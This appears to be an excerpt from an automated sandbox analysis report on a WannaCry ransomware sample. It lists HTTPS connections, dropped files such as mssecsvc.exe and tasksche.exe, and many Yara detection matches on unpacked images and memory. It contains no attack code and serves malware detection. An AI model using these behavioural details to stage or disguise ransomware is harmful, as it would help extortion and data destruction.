Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50546 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50548 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:51580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:51717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:51759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:51945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52473 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:52743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:53317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:53832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:54517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:56043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:59616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:64946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:65197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:65198 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Detected Wannacry Ransomware

Source: C:\Windows\tasksche.exe

Code function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!

8_2_004014A6

Yara detected Wannacry ransomware

Source: Yara match	File source: 7B6t4L7E2o.dll, type: SAMPLE
Source: Yara match	File source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.383555481.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.386656111.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.388921901.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.388154808.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.391231857.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.395266769.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.381743953.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.386794832.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.394868097.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.406030785.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvc.exe PID: 7052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvc.exe PID: 7080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvc.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvc.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 7B6t4L7E2o.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7B6t4L7E2o.dll, type: SAMPLE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 0000000A.00000000.402045388.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 0000000A.00000002.403090733.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000008.00000000.400435430.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.395368035.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
